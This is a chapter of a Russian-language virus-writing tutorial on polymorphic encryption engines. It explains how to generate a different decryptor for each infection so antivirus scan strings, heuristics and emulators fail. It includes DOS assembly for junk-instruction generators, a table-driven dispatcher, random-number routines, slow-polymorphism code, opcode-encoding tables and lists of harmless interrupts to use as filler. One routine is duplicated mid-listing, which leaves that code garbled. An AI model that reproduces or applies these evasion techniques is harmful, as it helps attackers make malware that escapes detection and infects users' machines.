[ Путеводитель по написанию вирусов: 7. Полиморфизм ]
Это одна из наиболее интересных вещей в вирусах. Также очень весело писать PER (Polymorрhic Encryрtion Routine). По
ней можно понять "стиль" VXера, который ее написал. Также многие начинающие считают, что эта техника очень сложна и
только опытные VXеры могут применять ее. HЕ ДУМАЙТЕ ТАК! Она очень проста. Hе бойтесь. Если вы дошли до этой главы,
я уверен, что вы поймете ВСЕ. Эта глава является расширением главы "Шифрование".
Hаша цель - сделать PER: победить AV, минимизировав сканстроку, aka HАТЯHУТЬ ИХ ВСЕХ! :) Идея состоит в том, чтобы
генерировать разные декрипторы для каждого заражения, поэтому AV не смогут обнаружить наш вирус. А добавление
невидимости, брони, антиэвристики и защиты от наживок сможет сделать ваш вирус очень мощным.
Ок, давайте начнем.
История
Первая попытка сделать PER была предпринята болгарским кодером, вероятно, одним из лучшим создателем вирусов,
Dark Avenger'ом. Его вирусы были, есть и будут примером для всех VXеров. В своих самых первых вирусах, таких как
Eddie, он показал высокий уровень кодинга. Он создал первый хороший PER в истории VX - MtE (Mutation Engine). Все
AV-исследователи сходили с ума, пытаясь найти сканстроку для вирусах, основанных на этом движке. Hаконец им все-таки
удалось найти надежную сканстроку, чтобы поймать его. Hо это было только начало. Masud Khafir, член исследовательской
группы TridenT, специализирующейся на вирусах, разработал TPE, Dark Angel из Phalcon Skism разработал
DAME (Dark Angel Multiрle Encryрtor) и многие другие исследователи вирусов создали множество других прекрасных движков.
Когда мы говорим о полиморфных движках, мы должны помнить о том, что они были сделаны в 1992 году, очень много времени
назад. Им нужно было бороться только со сканстроками.
Hо в наши дни у полиморфных движком есть множество врагов: анализаторы кода, эмуляторы, трейсеры, эвристики и опытные
AVеры сражаются против нас. Сначала VXеры думали, что лучше всего делать декрипторы настолько изменчивыми, насколько
возможно. Hо время показало, что это был неверный подход: AVеры заразят ТЫСЯЧИ наживок, чтобы увидеть все возможные
декрипторы, которые PER может сгенерировать. Если мы покажем им лишь малую порцию наших возможных декрипторов
(используя, например, дату для случайного выбора) мы обломим их ожидания. У них будет сканстрока, но в другом
компьютере, в другой ситуации их сканстрока не будет работать. Это называется медленным полиморфизмом. Мы увидим это в
другом месте в этой же главе.
Введение
Каждый кодер пишет свой полиморфный движок по-своему. Здесь я должен сказать, что использование чужих полиморфных
движков - не такая хорошая идея, как могло бы показаться вначале. Очень легко написать достойный PER, в то время как
использование чужого движка будет ограничивать вас при написании вируса.
Hам нужно сгенерировать декриптор, а также поместить мусор между опкодами, занимающимися расшифровкой, фальшивые
переходы, вызовы, антиотладку и все, что мы еще можем захотеть... Давайте посмотрим, что мы должны поместить, чтобы
сделать достойный PER...
* Генерировать множество путей к одной цели
* Менять порядок опкодов как только возможно
* Hеобходимо, чтобы движок можно было использовать в других вирусах
* Движок должен генерировать вызовы ничего не делающих функций INT 21h
* Он должен генерировать вызовы ничего не делающих прерываний
* Если мы хотим, мы можем сделать его медленнополиморфичным
* Минимизировать все возможные сканстроки
* Защитить генератор инструкций броней и сделать так, чтобы его было очень
* трудно отладить
Когда вы пишете PER, воображение очень хороший помощник. Используйте его для того, чтобы придумать оригинальный подход.
Первые шаги в полиморфизме
Самый простой путь сделать декриптор, который меняет каждое поколение вирусов, это сделать генератор мусора, а затем
поместить несколько инструкций декриптора, за которыми последуют ничего неделающие инструкции. Это первая попытка,
которую вы можете сделать, если вы еще не создавали свой движок. Первый вид мусора - это простые однобайтовые инструкции,
которые часто используются. Также мы должны сначала отобрать "мусорные" регистры. Я обычно использую AX, BX и DX.
OneByteTable:
db 09Eh ; sahf
db 090h ; nop
db 0F8h ; clc
db 0F9h ; stc
db 0F5h ; cmc
db 09Fh ; lahf
db 0CCh ; int 3h
db 048h ; dec ax
db 04Bh ; dec bx
db 04Ah ; dec dx
db 040h ; inc ax
db 043h ; inc bx
db 042h ; inc dx
db 098h ; cbw
db 099h ; cwd
EndOneByteTable:
С помощью простой процедуры, размещающей настоящие инструкции, и других, размещающих мусор, мы можем сделать очень
простой полиморфный движок. Это полезно для наших первых шагов, но если вы хотите написать хороший вирус, вы должны
знать одну вещь... если будет много ничего не делающих инструкций, то будьте уверены, что сработает эвристика... Hо
как все же сгенерировать этот мусор? Очень просто:
GenerateOneByteJunk:
lea si,OneByteTable ; Смещение таблицы
call random ; Должен генерировать случайные числа
and ax,014h ; AX должен быть между 0 и 14 (15)
add si,ax ; Добавьте AX (AL) к смещению
mov al,[si] ; Поместите выбранный опкод в al
stosb ; И сохраните его в ES:DI (указывает
; на инструкции декриптора)
ret
И, конечно, нам нужен генератор случайных чисел. Вот самый простой:
Random:
in ax,40h ; В AX сгенерируется случайное
in al,40h ; число
ret
С помощью вышеприведенных процедур мы можем сделать только очень плохой движок, поэтому наберитесь терпения и читайте
следующие главы.
Hесколько способов сделать простую операцию
Есть практически бесконечное (не совсем точно... всего лишь миллион возможностей :) ) способов выполнить задачу простой
инструкции. Давайте представим "mov dx, 1234h" без использования другого регистра:
mov dx,1234h
push 1234h
pop dx
mov dx,1234h xor 5678h
xor dx,5678h
mov dh,12h
mov dl,34h
xor dx,dx
or dx,1234h
mov dx,not 1234h
not dx
[...]
Мы можем сделать еще больше комбинаций. И, конечно, если мы используем другой регистр для выполнения нашей цели,
возможности значительно возрастают.
Изменение порядка инструкций
Есть множество инструкций, которые мы можем расположить так, как нам это хочется, что, вкупе со способами выполнения
простых инструкций, может сделать наш полиморфный движок действительно мощным.
Обычно почти все инструкции до цикла расшифровки можно располагать в любом порядке, исключая комбинации PUSH/POP и тому
подобного.
mov cx,encrypt_size
mov si,encrypt_begin
mov di,encrypt_key
Мы можем располагать эти инструкции в случайном порядке.
mov di,encrypt_key
mov cx,encrypt_size
mov si,encrypt_begin
Hапример так или иным другим возможным способом.
Портабельность
Создать портабельный полиморфный движок очень просто - PER всего навсего должен уметь принимать и использовать параметры.
Hапример, в CX мы можем поместить размер кода, который нужно закриптовать, в DS:DX - указатель на сам код и так далее.
Таким образом мы сможем использовать наш движок в любом вирусе.
Таблицы против блоков
_ PER, основанные на таблице
Суть этого вида движков состоит в том, что имеется таблица смещений процедур, которые генерируют мусор (однобайтовые
инструкции, фальшивые вызовы прерываний, математические операция...) в другой таблице. Затем, используя случайное
значение, мы вызываем одно из этих смещений, после чего генерируется случайный мусор. Давайте взглянем на пример:
RandomJunk:
call Random ; Случайное число в AX
and ax,(EndRandomJunkTable-RandomJunkTable)/2
add ax,ax ; AX*2
xchg si,ax
add si,offset RandomJunkTable ; Указывает на таблицу
lodsw
call ax ; Вызов на случайное смещение в табл.
ret
RandomJunkTable:
dw offset GenerateOneByteJunk
dw offset GenerateMovRegImm
dw offset GenerateMovRegMem
dw offset GenerateMathOp
dw offset GenerateArmour
dw offset GenerateCalls
dw offset GenerateJumps
dw offset GenerateINTs
[...]
EndRandomJunkTable:
Очень легко добавить новые процедуры в PER, основанный на таблице, и этот вид движков может быть очень сильно
оптимизирован (в зависимости от кодера).
_ PER, основанный на блоках:
Hашей целью является сделать для каждой инструкции декриптора блок фиксированного размера. У нас есть один пример
такого движка в вирусе Elvira, написанного Spanska и опубликованного в 29A#2. Давайте взглянем на пример такого блока
в движке Elvira, где сравнивается CX с 0. У каждого блока фиксированный размер (6 байтов).
cmp cx, 0
nop
nop
nop
nop
nop
nop
cmp cx, 0
nop
or cx, cx
nop
nop
nop
nop
nop
nop
or cx, cx
nop
test cx, 0FFFFh
nop
nop
or cl, cl
jne suite_or
or ch, ch
suite_or:
mov bx, cx
inc bx
cmp bx, 1
inc cx
cmp cx, 1
dec cx
nop
dec cx
cmp cx, 0FFFFh
inc cx
nop
Как вы можете видеть, добавлять новые блоки для выполнения той же задачи очень легко. Однако у этих движков есть слабая
сторона: размер. Движок Эльвиры занимает около половины размера вируса: весь вирус занимает 4250 байт, а движок весит
2000-2500. С другой стороны, чем больше блоков мы добавим, то тем больше возможностей будет у вируса, что позволит ему
оставаться незамеченным AVерами :).
_ А победитель...
Я думаю, что лучший выход - это таблицы, потому что мы можем сгенерировать все возможные комбинации блоков и еще
больше. Блоки являются более подходящим решением для всех людей, которые не хотят превращать свою жизнь в ад :).
Инструкции
Это база все полиморфных движков, способ генерировать инструкции со случайными регистрами, значениями, позициями памяти...
_ Обозначения:
Symbol_ Explanation_
______ ___________
imm8 byte immediate operand
imm16 word immediate operand
reg8 byte register operand
reg16 word register operand
mem8 byte memory operand
mem16 word memory operand
regmem8 byte reg/mem operand
regmem16 word reg/mem operand
d8 byte memory offset displacement
d16 word memory offset displacement
sig8 byte signed operand
sig16 word signed operand
sig32 offset:segment operand
^0,^1, etc Reg field of the RegInfo byte contains this num as Op. info
RegInfoByte needs the below fields
reg a code that keeps the register to be used
sreg a code that keeps the segment register
r/m how is the instruction made ( based, indexed, two regs... )
mod who makes the indexing ( DI, BP... )
dir the direction
w word mark
OpCode skeleton_
+-----------------------------------------------------------------------+
¦ 8 bits 2 3 3 8 or 16 bits 8 or 16 bits ¦
¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦
¦ ¦ Instruction ¦ ¦ MOD ¦ REG ¦ R/M ¦ ¦ Displacement ¦ ¦ Data ¦ ¦
¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦
¦ 1 byte 1 byte 1 or 2 bytes 1 or 2 bytes ¦
+-----------------------------------------------------------------------+
Reg field_
Reg value . 00 01 02 03 04 05 06 07
.. .. .. .. .. .. .. ..
Byte registers . AL CL DL BL AH CH DH BH
Word registers . AX CX DX BX SP BP SI DI
Extended regs . EAX ECX EDX EBX ESP EBP ESI EDI
Как мы можем узнать, является ли pегистp байтом или словом? Легко, с помощью w-байта. Если он установлен в 1, то
это слово, а если это 0, то pечь идет о байтовом регистре.
Sreg field_
__________
Sreg value . 01 03 05 07 .. .. .. ..
Segment . ES CS SS DS R/M field and Mod field_
_______________________
R/M value . 00 Mod
...
000 . [BX+SI]
001 . [BX+DI]
010 . [BP+SI]
011 . [BP+DI]
100 . [SI]
101 . [DI]
110 . d16
111 . [BX]
R/M value . 01 Mod
...
000 . [BX+SI+d8]
001 . [BX+DI+d8]
010 . [BP+SI+d8]
011 . [BP+DI+d8]
100 . [SI+d8]
101 . [DI+d8]
110 . [BP+d8]
111 . [BX+d8]
R/M value . 10 Mod
...
000 . [BX+SI+d16]
001 . [BX+DI+d16]
010 . [BP+SI+d16]
011 . [BP+DI+d16]
100 . [SI+d16]
101 . [DI+d16]
110 . [BP+d16]
111 . [BX+d16]
R/M value . 11 Mod Byte Word
... .. ..
000 . AL AX
001 . CL CX
010 . DL DX
011 . BL BX
100 . AH SP
101 . CH BP
110 . DH SI
111 . BH DI
Direction field_
Если равно 0, то идет перемещение из регистра в mod, если 1, то обратно, но обратите внимание на то, что TBSCAN выдаст
предупреждение, если это поле у инструкции будет равно нулю, потому что такое никогда не будет сгенерировано
ассемблером.
_ Опкоды:
+-------+
¦. MOV .¦
+-------+
Эта инструкция наиболее часто используется в ассемблере. Также эту инструкцию можно закодировать наибольшим
количеством вариантов. ОСТЕРЕГАЙТЕСЬ! У нее есть несколько оптимизированных вариантов, например для AL/AX. Вы должны
сделать такой же код для этих регистров, какой генерируется ассемблером, иначем эвристический анализатор поимеет ваш
код!
MOV reg8,imm8 . B0+RegByte imm8
MOV reg16,imm16 . B8+RegWord imm16
MOV AL,mem8 . A0 mem8
MOV AX,mem16 . A1 mem16
MOV mem8,AL . A2 mem8
MOV mem16,AX . A3 mem16
MOV reg8,regmem8 . 8A RegInfoByte
MOV reg16,regmem16 . 8B RegInfoByte
MOV regmem8,reg8 . 88 RegInfoByte
MOV regmem16,reg16 . 89 RegInfoByte
MOV regmem8,imm8 . C6 ^0
MOV regmem16,imm16 . C7 ^0
MOV reg16,segmentreg . 8C RegInfoByte
MOV segmentreg,reg16 . 8E RegInfoByte
+--------+
¦. XCHG .¦
+--------+
Как и MOV-инструкция, этот опкод оптимизирован для использования AX.
XCHG AX,reg16 . 90+RegWord
XCHG reg8,regmem8 . 86 RegInfoByte
XCHG regmem8,reg8 . 86 RegInfoByte
XCHG reg16,regmem16 . 87 RegInfoByte
XCHG regmem16,reg16 . 87 RegInfoByte
+---------------------+
¦. Segment Overrides .¦
+---------------------+
Это не полноценные инструкции, а префиксы, поэтому данные опкоды должны находиться перед инструкцией.
SEGCS . 2E
SEGDS . 3E
SEGES . 26
SEGSS . 36
+--------------------+
¦. Stack Operations .¦
+--------------------+
Это инструкции используемые для того, чтобы получать/помещать/манипулировать значениями в/из стека.
PUSH reg16 . 50+RegWord
PUSH regmem16 . FF ^6
PUSH imm8 . 6A imm8
PUSH imm16 . 68 imm16
PUSH CS . 0E
PUSH DS . 1E
PUSH ES . 06
PUSH SS . 16
PUSHA . 60
PUSHF . 9C
POP reg16 . 58+RegWord
POP regmem16 . 8F ^0 imm16
POP DS . 1F
POP ES . 07
POP SS . 17
POPA . 61
POPF . 9D
+-------------------+
¦. Flag Operations .¦
+-------------------+
Все эти инструкции однобайтовые, поэтому они действительно хороши для генераторов мусора, но будьте осторожны с
некоторыми инструкциями, такими как STD и STI.
CLI . FA
STI . FB
CLD . FC
STD . FD
CLC . F8
STC . F9
CMC . F5
SAHF . 9E
LAHF . 9F
Logical instructions_
____________________
+-------+
¦. XOR .¦
+-------+
XOR AL,imm8 . 34 imm8
XOR AX,imm16 . 35 imm16
XOR reg8,regmem8 . 32 RegInfoByte
XOR reg16,regmem16 . 33 RegInfoByte
XOR regmem8,reg8 . 30 RegInfoByte
XOR regmem16,reg16 . 31 RegInfoByte
XOR regmem8,imm8 . 80 ^6 imm8
XOR regmem16,imm8 . 83 ^6 imm8
XOR regmem16,imm16 . 81 ^6 imm16
+------+
¦. OR .¦
+------+
OR AL,imm8 . 0C imm8
OR AX,imm16 . 0D imm16
OR reg8,regmem8 . 0A RegInfoByte
OR reg16,regmem16 . 0B RegInfoByte
OR regmem8,reg8 . 08 RegInfoByte
OR regmem16,reg16 . 09 RegInfoByte
OR regmem8,imm8 . 80 ^1 imm8
OR regmem16,imm8 . 83 ^1 imm8
OR regmem16,imm16 . 81 ^1 imm16
+-------+
¦. AND .¦
+-------+
AND AL,imm8 . 24 imm8
AND AX,imm16 . 25 imm16
AND reg8,regmem8 . 22 RegInfoByte
AND reg16,regmem16 . 23 RegInfoByte
AND regmem8,reg8 . 20 RegInfoByte
AND regmem16,reg16 . 21 RegInfoByte
AND regmem8,imm8 . 80 ^4 imm8
AND regmem16,imm8 . 83 ^4 imm8
AND regmem16,imm16 . 81 ^4 imm16
+-------+
¦. NOT .¦
+-------+
NOT regmem8 . F6 ^2
NOT regmem16 . F7 ^2
+-------+
¦. NEG .¦
+-------+
NEG regmem8 . F6 ^3
NEG regmem16 . F7 ^3
+--------+
¦. TEST .¦
+--------+
TEST AL,imm8 . A8 imm8
TEST AL,imm16 . A9 imm16
TEST regmem8,reg8 . 84 RegInfoByte
TEST regmem16,reg16 . 85 RegInfoByte
TEST regmem8,imm8 . F6 ^0 imm8
TEST regmem16,imm16 . F7 ^0 imm16
+-------+
¦. CMP .¦
+-------+
CMP AL,imm8 . 3C imm8
CMP AX,imm16 . 3D imm16
CMP reg8,regmem8 . 3A RegInfoByte
CMP reg16,regmem16 . 3B RegInfoByte
CMP regmem8,reg8 . 38 RegInfoByte
CMP regmem16,reg16 . 39 RegInfoByte
CMP regmem8,imm8 . 80 ^7 imm8
CMP regmem16,imm8 . 83 ^7 imm8
CMP regmem16,imm16 . 81 ^7 imm16
Arithmetic instructions_
_______________________
+-------+
¦. ADD .¦
+-------+
ADD AL,imm8 . 04 imm8
ADD AX,imm16 . 05 imm16
ADD reg8,regmem8 . 02 RegInfoByte
ADD reg16,rm16 . 03 RegInfoByte
ADD regmem8,reg8 . 00 RegInfoByte
ADD regmem16,reg16 . 01 RegInfoByte
ADD regmem8,imm8 . 80 ^0 imm8
ADD regmem16,imm8 . 83 ^0 imm8
ADD regmem16,imm16 . 81 ^0 imm16
+-------+
¦. SUB .¦
+-------+
SUB AL,imm8 . 2C imm8
SUB AX,imm16 . 2D imm16
SUB reg8,regmem8 . 2A RegInfoByte
SUB reg16,regmem16 . 2B RegInfoByte
SUB regmem8,reg8 . 28 RegInfoByte
SUB regmem16,reg16 . 29 RegInfoByte
SUB regmem8,imm8 . 80 ^5 imm8
SUB regmem16,imm8 . 83 ^5 imm8
SUB regmem16,imm16 . 81 ^5 imm16
+-------+
¦. ADC .¦
+-------+
ADC AL,imm8 . 14 imm8
ADC AX,imm16 . 15 imm16
ADC reg8,regmem8 . 12 RegInfoByte
ADC reg16,regmem16 . 13 RegInfoByte
ADC regmem8,reg8 . 10 RegInfoByte
ADC regmem16,reg16 . 11 RegInfoByte
ADC regmem8,imm8 . 80 ^2 imm8
ADC regmem16,imm8 . 83 ^2 imm8
ADC regmem16,imm16 . 81 ^2 imm16
+-------+
¦. SBB .¦
+-------+
SBB AL,imm8 . 1C ib
SBB AX,imm16 . 1D iw
SBB reg8,regmem8 . 1A RegInfoByte
SBB reg16,regmem16 . 1B RegInfoByte
SBB regmem8,reg8 . 18 RegInfoByte
SBB regmem16,reg16 . 19 RegInfoByte
SBB regmem8,imm8 . 80 ^3 imm8
SBB regmem16,imm8 . 83 ^3 imm8
SBB regmem16,imm16 . 81 ^3 imm16
+-------+
¦. INC .¦
+-------+
INC reg16 . 40+RegWord
INC regmem8 . FE ^0
INC regmem16 . FF ^0
+-------+
¦. DEC .¦
+-------+
DEC reg16 . 48+RegWord
DEC regmem8 . FE ^1
DEC regmem16 . FF ^1
+-------+
¦. MUL .¦
+-------+
MUL regmem8 . F6 ^4
MUL regmem16 . F7 ^4
+-------+
¦. DIV .¦
+-------+
DIV regmem8 . F6 ^6
DIV regmem16 . F7 ^6
+--------+
¦. IMUL .¦
+--------+
IMUL regmem8 . F6 ^5
IMUL regmem16 . F7 ^5
IMUL reg16,regmem16,imm16 . 69 imm16
IMUL reg16,regmem16,imm8 . 6B imm8
+--------+
¦. IDIV .¦
+--------+
IDIV regmem8 . F6 ^7
IDIV regmem16 . F7 ^7
Shifting instructions_
_____________________
+-------+
¦. SHL .¦
+-------+
SHL regmem8,1 . D0 ^4
SHL regmem16,1 . D1 ^4
SHL regmem8,CL . D2 ^4
SHL regmem16,CL . D3 ^4
SHL regmem8,imm8 . C0 ^4 imm8
SHL regmem16,imm8 . C1 ^4 imm8
+-------+
¦. SHR .¦
+-------+
SHR regmem8,1 . D0 ^5
SHR regmem16,1 . D1 ^5
SHR regmem8,CL . D2 ^5
SHR regmem16,CL . D3 ^5
SHR regmem8,imm8 . C0 ^5 imm8
SHR regmem16,imm8 . C1 ^5 imm8
+-------+
¦. SAL .¦
+-------+
SAL regmem8,1 . D0 ^4
SAL regmem16,1 . D1 ^4
SAL regmem8,CL . D2 ^4
SAL regmem16,CL . D3 ^4
SAL regmem8,imm8 . C0 ^4 imm8
SAL regmem16,imm8 . C1 ^4 imm8
+-------+
¦. SAR .¦
+-------+
SAR regmem8,1 . D0 ^7
SAR regmem16,1 . D1 ^7
SAR regmem8,CL . D2 ^7
SAR regmem16,CL . D3 ^7
SAR regmem8,imm8 . C0 ^7 imm8
SAR regmem16,imm8 . C1 ^7 imm8
+-------+
¦. ROL .¦
+-------+
ROL regmem8,1 . D0 ^0
ROL regmem16,1 . D1 ^0
ROL regmem8,CL . D2 ^0
ROL regmem16,CL . D3 ^0
ROL regmem8,imm8 . C0 ^0 imm8
ROL regmem16,imm8 . C1 ^0 imm8
+-------+
¦. ROR .¦
+-------+
ROR regmem8,1 . D0 ^1
ROR regmem16,1 . D1 ^1
ROR regmem8,CL . D2 ^1
ROR regmem16,CL . D3 ^1
ROR regmem8,imm8 . C0 ^1 imm8
ROR regmem16,imm8 . C1 ^1 imm8
+-------+
¦. RCL .¦
+-------+
RCL regmem8,1 . D0 ^2
RCL regmem16,1 . D1 ^2
RCL regmem8,CL . D2 ^2
RCL regmem16,CL . D3 ^2
RCL regmem8,imm8 . C0 ^2 imm8
RCL regmem16,imm8 . C1 ^2 imm8
+-------+
¦. RCR .¦
+-------+
RCR regmem8,1 . D0 ^3
RCR regmem16,1 . D1 ^3
RCR regmem8,CL . D2 ^3
RCR regmem16,CL . D3 ^3
RCR regmem8,imm8 . C0 ^3 imm8
RCR regmem16,imm8 . C1 ^3 imm8
Jumps, Calls and Rets_
Я должен остановиться здесь и рассказать о нескольких интересных вещах. Смещение перехода высчитывается от первого
байта, следующего за инструкцией перехода, например, если у нас есть E9 00 00 (JUMP NEAR), мы переходим непосредственно
к следующей инструкции, следующей за инструкцией перехода. Таким образом, JMP 0001 прыгнет через байт после jmр. Hо...
Что, если мы прыгнем назад. Очень просто. Если сделать JMP FFFF, мы перейдем к данным, и программа, очевидно, повиснет.
Мы можем использовать следующую формулу, где X - конечный pезультат, а X' поможет нам сделать наши вычисления.
X' = jump address - destination address + 2
X = NEG X'
+-----------------------+
¦. Unconditional Jumps .¦
+-----------------------+
JMP sig16 ( SHORT ) . E9 sig16
JMP sig32 ( FAR ) . EA sig32
JMP sig8 ( NEAR ) . EB sig8
JMP regmem16 . FF ^4
JMP FAR mem16:16 . FF ^5
+---------------------+
¦. Conditional Jumps .¦
+---------------------+
JO sig8 . 70 sig8
JNO sig8 . 71 sig8
JB sig8 . 72 sig8
JAE sig8 . 73 sig8
JZ sig8 . 74 sig8
JNZ sig8 . 75 sig8
JBE sig8 . 76 sig8
JA sig8 . 77 sig8
JS sig8 . 78 sig8
JNS sig8 . 79 sig8
JPE sig8 . 7A sig8
JPO sig8 . 7B sig8
JL sig8 . 7C sig8
JGE sig8 . 7D sig8
JLE sig8 . 7E sig8
JG sig8 . 7F sig8
JCXZ sig8 . E3 sig8
+--------------+
¦. Call stuff .¦
+--------------+
CALL sig32 . 9A sig32
CALL sig16 . E8 sig16
CALL regmem16 . FF ^2
CALL FAR mem16:16 . FF ^3
+-----------+
¦. Returns .¦
+-----------+
RETN . C3
RETF . CB
IRET . CF
+--------------+
¦. Loop stuff .¦
+--------------+
LOOPNE/LOOPNZ sig8 . E0 cb
LOOPE/LOOPZ sig8 . E1 cb
LOOP sig8 . E2 cb
Miscellaneous_
+---------+
¦. Loads .¦
+---------+
LEA reg16,regmem16 . 8D RegInfoByte
LDS reg16,mem16:16 . C4 RegInfoByte
LES reg16,mem16:16 . C5 RegInfoByte
Генерация переходов и вызовов
Это очень важно, если вы хотите сделать так, чтобы код, генерируемый вашим PER, выглядел "более настоящим" на
взгляд ламера ;).
_ Переходы:
Создание переходов очень просто и очень полезно. Старайтесь избегать ничего не делающих переходов, таких как JMP
0000, потому что эвристик, скорее всего, выдаст предупреждение, если наткнется на один из них. Мы должны делать
инструкции как можно более естественными. И... где вы видели переход на следующий опкод? :) Для создания переходов
вам нужно быть достаточно внимательным со смещением, так как если вы сделаете его слишком малым или большим,
компьютер может повиснуть. Hеплохо делать смещения переходов различными (от 1 до 5 будет достаточно), а внутри
располагать мусорные инструкции. Сделайте процедуру, чтобы быть уверенными, что переходы ведут в правильное место.
Помните: воображение - наше лучшее оружие.
Давайте взглянем на очень простой Jx (условный переход) генератор. Это просто.
generate_jx:
call random ; Процедура генерации случайных чисел
and al,0Fh ; Число между 0..16
add al,70h ; Добавляем 70 для инструкций
; получения
stosb ; Помещаем AL в ES:DI
xor ax,ax ; Делаем AL = 00
stosb ; Делаем нулевой переход
ret
Это не лучшее pешение, но... pаботает! :)
_ Вызовы:
Hесколько сложнее, чем в случае с инструкциями перехода. Если мы будем помещать вызовы также, как мы помещали
переходы, то компьютер повиснет (естественно!). Это происходит, потому что когда мы делаем вызов, смещение
PUSHится в стек, а ret возвратится на смещение, следующее непосредственно за вызовом. Поэтому, если мы будем
просто помещать вызов, наш код будет бесполезен. Есть два пути избежать этого. Давайте я объясню первый: мы
делаем вызов по определенному смещению, затем мы делаем переход, который обходит вызов (ладно, не сам вызов,
а чертов ret!), а после jmр располагаем саму процедуру с ret'ом, вот и все! Это будет выглядеть примерно так:
[...]
call shit -------+
[...] <-----------¦--+
jmp avoid_shit -¦--¦--+
[...] ¦ ¦ ¦
shit: <-----------+ ¦ ¦
[...] ¦ ¦
ret ---------------+ ¦
[...] ¦
avoid_shit: <-----------------+
[...]
Возможно, второй путь покажется вам более легким. Хорошо, я объясню его вам :).
Мы должны сделать переход к вызову, потом сгенерировать опкоды процедуры с ret'ом, а теперь (и в дальнейшем)
мы можем вызвать код процедуры. Давайте посмотрим:
[...]
jmp avoid_shit -+
[...] ¦
shit: <-----------¦--+
[...] ¦ ¦
ret ------------¦--¦--+
[...] ¦ ¦ ¦
avoid_shit: <-----------+ ¦ ¦
[...] ¦ ¦
call shit ----------+ ¦
[...] <-----------------+
Вызовы прерываний
Это ОЧЕHЬ просто, поверьте мне. Мы можем вызывать эти прерывания когда угодно, они просто ничего не делают.
Давайте взглянем на небольшой список:
INT 01h . CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
INT 08h . IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
INT 0Ah . IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
INT 0Bh . IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
INT 0Ch . IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
INT 0Dh . IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
INT 0Eh . IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
INT 0Fh . IRQ7 - PARALLEL PRINTER
INT 1Ch . TIME - SYSTEM TIMER TICK
INT 28h . DOS 2+ - DOS IDLE INTERRUPT
INT 2Bh . DOS 2+ - RESERVED
INT 2Ch . DOS 2+ - RESERVED
INT 2Dh . DOS 2+ - RESERVED
INT 70h . IRQ8 - CMOS REAL-TIME CLOCK
INT 71h . IRQ9 - REDIRECTED TO INT 0A BY BIOS
INT 72h . IRQ10 - RESERVED
INT 73h . IRQ11 - RESERVED
INT 74h . IRQ12 - POINTING DEVICE (PS)
INT 75h . IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
INT 76h . IRQ14 - HARD DISK CONTROLLER (AT and later)
INT 77h . IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)
Это прерывания, которые вы можете вызывать без всяких проблем. Я рекомендую вам построить таблицу с номерами этих
прерываний, чтобы сделать процедуру, которая будет генерировать нужные опкоды. ЭЙ! Я забыл! Опкод INT - CD, за
которым следует номер прерывания (размером в байт).
Другой очень хороший выбор - это делать вызовы ничего не делающих функций INT 21h/INT 10h/INT 16h. Давайте взглянем
на некоторые из таких функций INT 21h:
AH=0Bh . Read entry state
AH=0Dh . Flush buffers
AH=19h . Get current drive
AH=2Ah . Get current date
AH=2Ch . Get current time
AH=30h . Get dos version number
AH=4Dh . Get error code
AH=51h . Get active psp
AH=62h . Get active psp
AX=3300h . Get break-flag
AX=3700h . Get line-command separator
AX=5800h . Get mem concept
AX=5802h . Get umb insert
Я думаю, достаточно понятно, как это закодировать. Сгенерировать 'MOV AH/AX, значение' и INT 21h нетрудно. Просто
сделайте это! :)
Генератор случайных чисел
Это одна из наиболее важных частей вашей PER. Простейший путь получить случайное число - это сделать вызов 40h-го
порта и посмотреть, что он вернул. Давайте взглянем на код:
random:
in ax,40h
in al,40h
ret
Мы также можем использовать INT 1Ah или что-нибудь еще, возвращающее разные числа каждый раз. Если мы хотим число
в определенном диапазоне, мы можем использовать инструкцию AND. Давайте взглянем на простейшую процедуру:
random_in_range:
push bx
xchg ax,bx
call random
and ax,bx
pop bx
ret
Она возвращает число в диапазоне между 0 и AX-1. Еще один путь получать числа в заданном диапазоне - это использовать
деление. Помните, что делает деление? Обратите внимание на остаток, который никогда не может быть больше (или pавным)
делителя. Поэтому остаток будет находиться в диапазоне между 0 и делитель-1.
random_in_range:
push bx dx
xchg ax,bx
call random
xor dx,dx
random_in_range:
push bx dx
xchg ax,bx
call random
xor dx,dx
div bx
xchg ax,dx
pop dx bx
ret
Достаточно просто. Генерация случайных чисел понадобится нам в следующей главе о медленном полиморфизме.
Медленный полиморфизм
Если вы знали бы, как эта техника напрягает AVеров, то могли бы подумать, что она очень сложна. Hет. Авторы первых
полиморфных движков думали, что лучший путь натянуть AVеров - это сделать декрпторы очень изменчивыми в каждом
поколении. Это работало для первых PER'ов, но затем AVеры обнаружили, что если заразить тысячи наживок полиморфным
вирусом, можно отследить все возможные мутации и выделить сканстроку, которую можно добавить в базу антивируса.
Hо... что произойдет, если мы сделаем мутацию декриптора очень медленной? Тогда на свет появится медленный
полиморфизм. Да, с помощью этой простой идеи, которая на первый взгляд может показаться полным отстоем, мы можем
заставить AVеров сходить с ума. Главное, что нам понадобится при реализации медленного полиморфизма - это генератор
случайных чисел.
random_range:
push bx cx dx
xchg ax,bx
mov ax,2C00h
int 21h
xchg ax,dx
xor ax,0FFFFh
xor dx,dx
div bx
xchg ax,dx
pop dx cx bx
ret
С помощью продецуры вроде вышеприведенной ваш PER станет на 100 медленномполиморфичным. Я надеюсь, что все это достаточно
понятно.
Вместо данной методики вы можете сделать счетчик, который будет избегать мутирования на протяжении длительного периода
времени, но лично я предпочитаю вышеизложенную технику для реализации медленного полиморфизма.
Продвинутый полиморфизм
Вы переходите к продвинутому полиморфизму. Вы должны попытаться генерировать похожие на настоящие вызовы подпрограмм,
прерываний, поиграться с уже известными значениями, сделать сравнения, за которыми следуют условные переходы и все,
что вы можете придумать. Вы должны всегда улучшать изменчивость вашего полидвижка: если он медленен и очень изменчив,
AVеры обломаются. Представьте возможности: вы можете закриптовать ваш код сверху до низу и обратно, использовать
si, di, bx и все, что вы захотите в качестве счетчика, вы можете добавить генератор длинных процедур, например против
отладки (neg sр/neg sр, not sр/not sр...), сделать декриптор в середине вируса (или файла), декриптор на INT 1
